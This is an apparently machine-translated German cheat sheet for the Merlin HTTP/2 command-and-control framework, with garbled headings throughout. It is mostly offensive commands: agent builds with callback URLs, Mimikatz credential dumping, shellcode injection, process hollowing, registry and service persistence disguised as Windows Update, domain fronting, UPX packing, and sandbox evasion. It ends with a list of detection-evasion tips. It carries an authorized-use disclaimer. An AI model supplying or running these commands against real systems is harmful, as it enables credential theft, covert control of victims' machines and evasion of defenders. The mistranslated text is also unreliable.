Merlin C2 Framework Cheat Sheet

📋 Kopieren Sie alle Befehle 📄 PDF generieren

Überblick

Merlin ist ein plattformübergreifender Post-Exploitation HTTP/2 Command & Control Server und Agent in Golang geschrieben. Es nutzt HTTP/2 für die Kommunikation und bietet moderne Protokoll-Ausweichfunktionen mit integriertem Daten-Jitter und Verschlüsselung.

ZEIT Warnung: Dieses Tool ist nur für autorisierte Penetrationstests und rote Teamübungen gedacht. Stellen Sie sicher, dass Sie eine ordnungsgemäße Genehmigung vor der Verwendung in jeder Umgebung haben.

Installation

Vorkompilierte Binäre

```bash

Download latest release for Linux

wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z 7z x merlinServer-Linux-x64.7z

Download latest release for Windows

Download merlinServer-Windows-x64.7z from GitHub releases

Download latest release for macOS

wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Darwin-x64.7z 7z x merlinServer-Darwin-x64.7z ```_

Aufbau von Source

```bash

Install Go (version 1.19+)

git clone https://github.com/Ne0nd0g/merlin.git cd merlin make build-server make build-agent ```_

Docker Installation

```bash

Pull official Docker image

docker pull ne0nd0g/merlin

Run Merlin server in Docker

docker run -it -p 443:443 ne0nd0g/merlin ```_

Basisnutzung

Starten von Merlin Server

```bash

Start server with default settings

./merlinServer-Linux-x64

Start server with custom interface

./merlinServer-Linux-x64 -i 0.0.0.0

Start server with custom port

./merlinServer-Linux-x64 -p 8443

Start server with custom certificate

./merlinServer-Linux-x64 -crt /path/to/cert.crt -key /path/to/key.key ```_

Agent Generation

```bash

Generate Windows agent

make build-agent-windows

Generate Linux agent

make build-agent-linux

Generate macOS agent

make build-agent-darwin ```_

Befehlsnummer

Serververwaltung

| | Command | Description | | | --- | --- | | | help | Display help menu | | | | version | Show version information | | | | listeners | List active listeners | | | | agents | List connected agents | | | | sessions | Show active sessions | | | | exit | Exit Merlin server | |

Hörer Management

| | Command | Description | | | --- | --- | | | listeners | List all listeners | | | | use listener <type> | Select listener type | | | | set <option> <value> | Set listener option | | | | start | Start the listener | | | | stop | Stop the listener | | | | info | Show listener information | |

Agent Interaction

| | Command | Description | | | --- | --- | | | interact <agent-id> | Interact with agent | | | | shell <command> | Execute shell command | | | | upload <local> <remote> | Upload file to agent | | | | download <remote> <local> | Download file from agent | | | | kill | Kill the agent | | | | back | Return to main menu | |

Hörer Konfiguration

HTTP/2 Hörer

```bash

Use HTTP/2 listener

use listener http2

Configure listener options

set Interface 0.0.0.0 set Port 443 set Certificate /path/to/cert.crt set Key /path/to/key.key

Start listener

start ```_

HTTP/3 Hörer (QUIC)

```bash

Use HTTP/3 listener

use listener http3

Configure QUIC options

set Interface 0.0.0.0 set Port 443 set Certificate /path/to/cert.crt set Key /path/to/key.key

Start listener

start ```_

TCP Hörer

```bash

Use TCP listener

use listener tcp

Configure TCP options

set Interface 0.0.0.0 set Port 4444

Start listener

start ```_

BMB Hörer

```bash

Use SMB listener (Windows)

use listener smb

Configure SMB options

set Interface 0.0.0.0 set Port 445

Start listener

start ```_

Agent Configuration

HTTP/2 Agent

```bash

Build HTTP/2 agent

GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://192.168.1.100:443" -o agent.exe cmd/merlinagent/main.go

Build with custom options

GOOS=linux GOARCH=amd64 go build -ldflags "-X main.url=https://192.168.1.100:443 -X main.sleep=30s -X main.jitter=0.2" -o agent cmd/merlinagent/main.go ```_

Agent Optionen

```bash

Set communication URL

-X main.url=https://server.com:443

Set sleep interval

-X main.sleep=30s

Set jitter percentage

-X main.jitter=0.2

Set maximum retries

-X main.maxretry=7

Set user agent

-X main.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

Set proxy

-X main.proxy=http://proxy.com:8080 ```_

Post-Exploitationsbefehle

Systeminformationen

```bash

Get system information

sysinfo

Get current user

whoami

Get environment variables

env

Get network interfaces

ifconfig

Get running processes

ps ```_

Dateioperationen

```bash

List directory contents

ls /path/to/directory

Change directory

cd /path/to/directory

Create directory

mkdir /path/to/new/directory

Remove file

rm /path/to/file

Copy file

cp /source/file /destination/file

Move file

mv /source/file /destination/file ```_

Netzwerkaktivitäten

```bash

Network connections

netstat

ARP table

arp

Routing table

route

DNS lookup

nslookup domain.com

Ping host

ping 192.168.1.1 ```_

Prozessmanagement

```bash

List processes

ps

Kill process

kill

Start process

execute

Get process information

info ```_

Erweiterte Funktionen

Modulsystem

```bash

List available modules

modules

Use module

use module

Set module options

set

Run module

run

Show module info

info ```_

Eingebaute Module

```bash

Mimikatz module

use module mimikatz set Command sekurlsa::logonpasswords run

PowerShell module

use module powershell set Command Get-Process run

Assembly execution

use module executeassembly set Assembly /path/to/assembly.exe set Arguments "arg1 arg2" run ```_

Ausführen von Shellcode

```bash

Execute shellcode

use module shellcode set Shellcode run

Shellcode injection

use module shinject set PID set Shellcode run ```_

Persistenz

```bash

Registry persistence

use module persistence set Method registry set Key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" set Value "Update" set Data "C:\temp\agent.exe" run

Service persistence

use module service set Name "UpdateService" set DisplayName "Windows Update Service" set BinaryPath "C:\temp\agent.exe" run ```_

Evasion Techniken

Verkehrsobfukation

```bash

Custom User-Agent

-X main.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

Custom headers

-X main.headers="X-Custom-Header:value"

Domain fronting

-X main.url=https://cdn.example.com -X main.host=legitimate-site.com ```_

Belastbarkeit

```bash

Build with custom build tags

go build -tags="debug" -ldflags "-s -w" -o agent.exe

Use UPX packing

upx --best agent.exe

Custom encryption

-X main.psk=your-pre-shared-key ```_

Antianalyse

```bash

VM detection

use module vmdetect run

Sandbox evasion

use module sleep set Duration 60 run

Process hollowing

use module hollow set Target notepad.exe set Payload run ```_

Zertifikat Management

Erstellung von selbstgesendeten Zertifikaten

```bash

Generate certificate and key

openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes

Generate with SAN

openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes -config <( echo '[req]' echo 'distinguished_name = req' echo '[req]' echo 'CN = server.com' echo '[SAN]' echo 'subjectAltName = DNS:server.com,DNS:*.server.com,IP:192.168.1.100' ) ```_

Lassen Sie uns Zertifikat verschlüsseln

```bash

Install certbot

sudo apt install certbot

Generate certificate

certbot certonly --standalone -d yourdomain.com

Use certificate with Merlin

./merlinServer-Linux-x64 -crt /etc/letsencrypt/live/yourdomain.com/fullchain.pem -key /etc/letsencrypt/live/yourdomain.com/privkey.pem ```_

Operationelle Verfahren

Infrastrukturaufbau

```bash

Use redirectors

Set up nginx reverse proxy

server \\{ listen 443 ssl http2; server_name legitimate-site.com;

ssl_certificate /path/to/cert.crt;
ssl_certificate_key /path/to/key.key;

location / \\\\{
    proxy_pass https://merlin-server:443;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
\\\\}

\\} ```_

Team Operations

```bash

Multi-operator setup

Use shared database or file system

Implement proper access controls

Use separate operator certificates

```_

Protokollierung und Überwachung

```bash

Enable detailed logging

./merlinServer-Linux-x64 -debug

Monitor connections

tail -f merlin.log

Network monitoring

tcpdump -i any -w merlin_traffic.pcap port 443 ```_

Fehlerbehebung

Verbindungsprobleme

```bash

Check listener status

listeners

Test connectivity

curl -k https://server.com:443

Check certificate

openssl s_client -connect server.com:443 -servername server.com ```_

Aufgaben

```bash

Debug agent connection

Build agent with debug flags

go build -ldflags "-X main.debug=true" -o agent-debug.exe

Check agent logs

Enable verbose output in agent

```_

Leistungsfragen

```bash

Adjust sleep and jitter

-X main.sleep=10s -X main.jitter=0.1

Optimize HTTP/2 settings

Increase connection limits

Use connection pooling

```_

Zertifikat Probleme

```bash

Verify certificate

openssl x509 -in server.crt -text -noout

Check certificate chain

openssl verify -CAfile ca.crt server.crt

Test SSL configuration

sslscan server.com:443 ```_

Detektive Evasion

Netzwerkebene

• Verwenden Sie legitime Zertifikate und Domains
• Implementierung der richtigen HTTP/2-Konfiguration
• Vary Kommunikationsmuster und Timing
• Verwendung von Domain Fronting Techniken
• Implementierung der richtigen Fehlerbehandlung

Host Level

• Verwenden Sie legitime Prozessnamen und -pfade
• Implement Anti-VM und Sandbox-Erkennung
• Verwendung Prozesshohlung und Injektion
• Verschlüsseln von Nutzlasten und Kommunikation
• Artefakte und Protokolle reinigen

Verhalten

• Ressourcennutzung und Netzwerkaktivität begrenzen
• Verwenden Sie legitime Benutzervertreter und Header
• Implementieren richtigen Schlaf und Jitter
• Vermeiden Sie verdächtige API Anrufe
• Verwenden Sie lebende Techniken des Landes

Ressourcen

• Merlin GitHub Repository
• Merlin Dokumentation
• Ne0nd0g Blog
• [HTTP/2 C2 Kommunikation](_LINK_4___

--

*Dieses Betrügereiblatt bietet eine umfassende Referenz für die Verwendung von Merlin C2 Framework. Stellen Sie immer sicher, dass Sie eine richtige Berechtigung haben, bevor Sie dieses Tool in jeder Umgebung verwenden. *